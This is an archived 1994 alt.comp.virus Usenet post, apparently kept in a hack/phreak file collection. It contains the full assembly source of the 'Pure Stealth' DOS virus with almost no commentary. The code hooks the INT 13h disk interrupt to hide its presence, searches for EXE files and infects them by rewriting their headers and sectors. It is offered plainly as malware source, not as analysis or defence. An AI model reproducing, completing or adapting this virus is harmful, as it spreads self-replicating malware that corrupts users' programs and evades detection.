home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / S.ZIP / STEALTH.ZIP / stealth.asm
Assembly Source File  |  1994-11-12  |  9KB  |  414 lines

  1. From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:09:18 1994
  2. Xref: netcom.com alt.comp.virus:199
  3. Path: netcom.com!ix.netcom.com!netnews
  4. From: Zeppelin@ix.netcom.com (Mr. G)
  5. Newsgroups: alt.comp.virus
  6. Subject: Re: Pure Stealth
  7. Date: 12 Nov 1994 03:35:54 GMT
  8. Organization: Netcom
  9. Lines: 398
  10. Distribution: world
  11. Message-ID: <3a1d6q$m5g@ixnews1.ix.netcom.com>
  12. References: <3a0s7b$r6i$1@mhadf.production.compuserve.com> <3a1aj7$l5e@ixnews1.ix.netcom.com> <3a1cri$m31@ixnews1.ix.netcom.com>
  13. NNTP-Posting-Host: ix-ir4-21.ix.netcom.com
  14.  
  15. ;    This is the Pure Stealth Virus. It was released Feb of 1994
  16.     
  17. cseg            segment para    public  'code'
  18. pure            proc    near
  19. assume          cs:cseg
  20.  
  21.  
  22. 186
  23.  
  24. ALLOCATE_HMA    equ     04a02h
  25. CLOSE_HANDLE    equ     03e00h
  26. COMMAND_LINE    equ     080h
  27. COM_OFFSET      equ     00100h
  28. CRITICAL_INT    equ     024h
  29. DENY_NONE       equ     040h
  30. DONT_SET_OFFSET equ     006h
  31. DONT_SET_TIME   equ     040h
  32. DOS_INT         equ     021h
  33. DOS_SET_INT     equ     02500h
  34. EIGHTEEN_BYTES  equ     012h
  35. ENVIRONMENT     equ     02ch
  36. EXEC_PROGRAM    equ     04b00h
  37. EXE_SECTOR_SIZE equ     004h
  38. EXE_SIGNATURE   equ     'ZM'
  39. FAIL            equ     003h
  40. FAR_INDEX_CALL  equ     01effh
  41. FILENAME_OFFSET equ     0001eh
  42. FILE_OPEN_MODE  equ     002h
  43. FIND_FIRST      equ     04e00h
  44. FIND_NEXT       equ     04f00h
  45. FIRST_FCB       equ     05ch
  46. FLUSH_BUFFERS   equ     00d00h
  47. FOUR_BYTES      equ     004h
  48. GET_DTA         equ     02f00h
  49. GET_ERROR_LEVEL equ     04d00h
  50. HARD_DISK_ONE   equ     081h
  51. HIDDEN          equ     002h
  52. HIGH_BYTE       equ     00100h
  53. HMA_SEGMENT     equ     0ffffh
  54. INT_13_VECTOR   equ     0004ch
  55. JOB_FILE_TABLE  equ     01220h
  56. KEEP_CF_INTACT  equ     002h
  57. MAX_SECTORS     equ     078h
  58. MULTIPLEX_INT   equ     02fh
  59. NEW_EXE_HEADER  equ     00040h
  60. NEW_EXE_OFFSET  equ     018h
  61. NULL            equ     00000h
  62. ONLY_READ       equ     000h
  63. ONLY_WRITE      equ     001h
  64. ONE_BYTE        equ     001h
  65. OPEN_W_HANDLE   equ     03d00h
  66. PARAMETER_TABLE equ     001f1h
  67. READ_A_SECTOR   equ     00201h
  68. READ_ONLY       equ     001h
  69. READ_W_HANDLE   equ     03f00h
  70. REMOVE_NOP      equ     001h
  71. RESET_CACHE     equ     00001h
  72. RESIZE_MEMORY   equ     04a00h
  73. SECOND_FCB      equ     06ch
  74. SECTOR_SIZE     equ     00200h
  75. SETVER_SIZE     equ     018h
  76. SHORT_JUMP      equ     0ebh
  77. SIX_BYTES       equ     006h
  78. SMARTDRV        equ     04a10h
  79. SYSTEM          equ     004h
  80. SYS_FILE_TABLE  equ     01216h
  81. TERMINATE_W_ERR equ     04c00h
  82. THREE_BYTES     equ     003h
  83. TWENTY_HEX      equ     020h
  84. TWENTY_THREE    equ     017h
  85. TWO_BYTES       equ     002h
  86. UN_SINGLE_STEP  equ     not(00100h)
  87. VERIFY_3SECTORS equ     00403h
  88. VOLUME_LABEL    equ     008h
  89. WRITE_A_SECTOR  equ     00301h
  90. WRITE_W_HANDLE  equ     04000h
  91. XOR_CODE        equ     (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE
  92. PURE_CODE_IS_AT equ     00147h
  93.  
  94.  
  95. bios_seg        segment at 0f000h
  96.         org     00000h
  97. old_int_13_addr label   word
  98. bios_seg        ends
  99.  
  100.  
  101.         org     COM_OFFSET
  102. com_code:
  103.  
  104.  
  105.         jmp     short alloc_memory
  106. DISPLACEMENT    equ     $
  107.  
  108.  
  109. dummy_exe_head  dw      
  110. SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT,NULL,NULL,NULL,
  111. NULL,NULL,TWENTY_HEX
  112.  
  113.  
  114.         org     PURE_CODE_IS_AT
  115.  
  116.  
  117. ax_cx_di_si_cld proc    near
  118.         mov     di,bx
  119.         add     di,PURE_CODE_IS_AT-COM_OFFSET
  120. ax_cx_si_cld:   call    set_si
  121. set_si:         pop     si
  122.         sub     si,word ptr (offset set_si)-word ptr (offset 
  123. ax_cx_di_si_cld)
  124.         mov     cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT
  125.         mov     ax,XOR_CODE
  126.         das
  127.         cld
  128.         ret
  129. ax_cx_di_si_cld endp
  130.  
  131.  
  132.         org     high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
  133.  
  134. ALLOC_STARTS    equ     $
  135.  
  136.  
  137. alloc_memory    proc    near
  138.         mov     ah,high(FLUSH_BUFFERS)
  139.         int     DOS_INT
  140.         xor     di,di
  141.         mov     ds,di
  142.         mov     bh,high(SECTOR_SIZE)
  143.         dec     di
  144.         mov     ax,ALLOCATE_HMA
  145.         int     MULTIPLEX_INT
  146.         mov     ax,SMARTDRV
  147.         mov     bx,RESET_CACHE
  148.         int     MULTIPLEX_INT
  149.         mov     bl,SIX_BYTES
  150.         inc     di
  151.         jz      find_name
  152.         call    ax_cx_si_cld
  153.         rep     movs byte ptr es:[di],cs:[si]
  154. alloc_memory    endp
  155.  
  156.  
  157. set_int_13      proc    near
  158.         mov     ax,offset interrupt_one
  159.         xchg    word ptr ds:[bx-TWO_BYTES],ax
  160.         push    ax
  161.         push    word ptr ds:[bx]
  162.         mov     word ptr ds:[bx],cs
  163.         xchg    cx,di
  164.         mov     dl,HARD_DISK_ONE
  165.         pushf
  166.         pushf
  167.         pushf
  168.         mov     bp,sp
  169.         mov     ax,VERIFY_3SECTORS
  170.         or      byte ptr ss:[bp+ONE_BYTE],al
  171.         popf
  172.         dw      FAR_INDEX_CALL,INT_13_VECTOR
  173.         popf
  174.         pop     word ptr ds:[bx]
  175.         pop     word ptr ds:[bx-TWO_BYTES]
  176. set_int_13      endp
  177.  
  178.  
  179. find_name       proc    near
  180.         mov     ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
  181. look_for_nulls: inc     bx
  182.         cmp     word ptr ds:[bx-FOUR_BYTES],di
  183.         jne     look_for_nulls
  184. find_name       endp
  185.  
  186.  
  187. open_file       proc    near
  188.         push    ds
  189.         push    bx
  190.         mov     ch,THREE_BYTES
  191.         call    open_n_read_exe
  192.         push    cs
  193.         pop     es
  194.         mov     bx,dx
  195.         call    convert_back
  196.         pop     dx
  197.         pop     ds
  198.         jne     now_run_it
  199.         push    ds
  200.         push    dx
  201.         mov     ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
  202.         call    call_dos
  203.         push    bx
  204.         int     MULTIPLEX_INT
  205.         mov     dx,SYS_FILE_TABLE
  206.         xchg    ax,dx
  207.         mov     bl,byte ptr es:[di]
  208.         int     MULTIPLEX_INT
  209.         pop     bx
  210.         mov     ch,high(SECTOR_SIZE)
  211.         mov     ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE
  212.         cmpsw
  213.         stosb
  214.         mov     dx,offset critical_error+COM_OFFSET
  215.         int     DOS_INT
  216.         or      byte ptr 
  217. es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME
  218.         call    reclose_it
  219.         pop     dx
  220.         pop     ds
  221. open_file       endp
  222.  
  223.  
  224. now_run_it      proc    near
  225.         push    cs
  226.         pop     es
  227.         mov     bx,offset exec_table
  228.         mov     ah,high(RESIZE_MEMORY)
  229.         int     DOS_INT
  230.         mov     si,offset 
  231. critical_error+COM_OFFSET+PARAMETER_TABLE
  232.         xchg    bx,si
  233.         mov     di,bx
  234.         mov     ax,EXEC_PROGRAM
  235. set_table:      scasw
  236.         movs    byte ptr es:[di],cs:[si]
  237.         scasb
  238.         mov     word ptr cs:[di],cs
  239.         je      set_table
  240.         call    call_dos
  241.         mov     ax,FIND_FIRST
  242.         mov     dx,offset exe_file_mask
  243.         mov     cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
  244. find_next_file: call    call_dos
  245.         mov     ah,high(GET_DTA)
  246.         int     DOS_INT
  247.         add     bx,FILENAME_OFFSET
  248.         push    es
  249.         pop     ds
  250.         call    open_n_read_exe
  251.         mov     ah,high(FIND_NEXT)
  252.         loop    find_next_file
  253. done:           mov     ah,high(GET_ERROR_LEVEL)
  254.         int     DOS_INT
  255.         mov     ah,high(TERMINATE_W_ERR)
  256. now_run_it      endp
  257.  
  258.  
  259. call_dos        proc    near
  260.         int     DOS_INT
  261.         jc      done
  262.         xchg    ax,bx
  263.         push    cs
  264.         pop     ds
  265.         mov     ax,JOB_FILE_TABLE
  266.         ret
  267. call_dos        endp
  268.  
  269.  
  270. exec_table      db      COMMAND_LINE,FIRST_FCB,SECOND_FCB
  271.  
  272.  
  273. open_n_read_exe proc    near
  274.         mov     dx,bx
  275.         mov     ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
  276.         call    call_dos
  277.         mov     dx,offset critical_error
  278.         mov     ax,DOS_SET_INT+CRITICAL_INT
  279.         int     DOS_INT
  280.         inc     dh
  281.         mov     ah,high(READ_W_HANDLE)
  282.         int     DOS_INT
  283. reclose_it:     mov     ah,high(CLOSE_HANDLE)
  284.         jmp     short call_dos
  285. open_n_read_exe endp
  286.  
  287.  
  288. interrupt_one   proc    far
  289.         cmp     ax,VERIFY_3SECTORS
  290.         jne     interrupt_ret
  291.         push    ds
  292.         pusha
  293.         mov     bp,sp
  294.         lds     si,dword ptr ss:[bp+EIGHTEEN_BYTES]
  295.         cmp     word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
  296.         jne     go_back
  297.         mov     si,word ptr ds:[si+THREE_BYTES]
  298.         cmp     word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
  299.         jne     go_back
  300.         cld
  301.         mov     di,cx
  302.         movsw
  303.         movsw
  304.         sub     di,word ptr (offset far_ptr_addr)-word ptr 
  305. (offset int_13_entry)
  306.         org     $-REMOVE_NOP
  307.         mov     word ptr ds:[si-FOUR_BYTES],di
  308.         and     byte ptr 
  309. ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
  310. go_back:        popa
  311.         pop     ds
  312. critical_error: mov     al,FAIL
  313. interrupt_ret:  iret
  314. interrupt_one   endp
  315.  
  316.  
  317. exe_file_mask   db      '*.E*',NULL
  318.  
  319.  
  320. convert_back    proc    near
  321.         call    ax_cx_di_si_cld
  322.         repe    cmps byte ptr cs:[si],es:[di]
  323.         jne     not_pure
  324.         xor     byte ptr ds:[bx],ah
  325.         call    ax_cx_di_si_cld
  326.         rep     stosb
  327. not_pure:       ret
  328. convert_back    endp
  329.  
  330.  
  331. convert_to      proc    near
  332.         pusha
  333.         stc
  334.         pushf
  335.         cmp     word ptr ds:[bx],EXE_SIGNATURE
  336.         jne     not_exe_header
  337.         mov     ax,word ptr ds:[bx+EXE_SECTOR_SIZE]
  338.         cmp     ax,MAX_SECTORS
  339.         ja      not_exe_header
  340.         cmp     al,SETVER_SIZE
  341.         je      not_exe_header
  342.         cmp     word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
  343.         jae     not_exe_header
  344.         call    ax_cx_di_si_cld
  345.         pusha
  346.         repe    scasb
  347.         popa
  348.         jne     not_exe_header
  349.         xor     byte ptr ds:[bx],ah
  350.         rep     movs byte ptr es:[di],cs:[si]
  351.         popf
  352.         clc
  353.         pushf
  354. not_exe_header: popf
  355.         popa
  356.         ret
  357. convert_to      endp
  358.  
  359.  
  360. interrupt_13    proc    far
  361. int_13_entry:   cmp     ah,high(READ_A_SECTOR)
  362.         jb      call_old_int_13
  363.         cmp     ah,high(VERIFY_3SECTORS)
  364.         ja      call_old_int_13
  365.         push    ds
  366.         push    es
  367.         pop     ds
  368.         call    convert_to
  369.         pushf
  370.         push    cs
  371.         call    call_old_int_13
  372.         pushf
  373.         call    convert_to
  374.         pusha
  375.         jc      do_convertback
  376.         mov     ax,WRITE_A_SECTOR
  377.         pushf
  378.         push    cs
  379.         call    call_old_int_13
  380. do_convertback: call    convert_back
  381.         popa
  382.         popf
  383.         pop     ds
  384.         retf    KEEP_CF_INTACT
  385. interrupt_13    endp
  386.  
  387.  
  388.         org     COM_OFFSET+SECTOR_SIZE-ONE_BYTE
  389.  
  390.  
  391. call_old_int_13 proc    near
  392.         jmp     far ptr old_int_13_addr
  393. call_old_int_13 endp
  394.  
  395.  
  396.         org     COM_OFFSET+SECTOR_SIZE
  397.  
  398.  
  399. goto_dos        proc    near
  400.         mov     ax,TERMINATE_W_ERR
  401.         nop
  402. far_ptr_addr:   int     DOS_INT
  403. goto_dos        endp
  404.  
  405.  
  406. pure            endp
  407. cseg            ends
  408. end             com_code
  409.  
  410.  
  411. ;                    -Zep-
  412.  
  413.  
  414.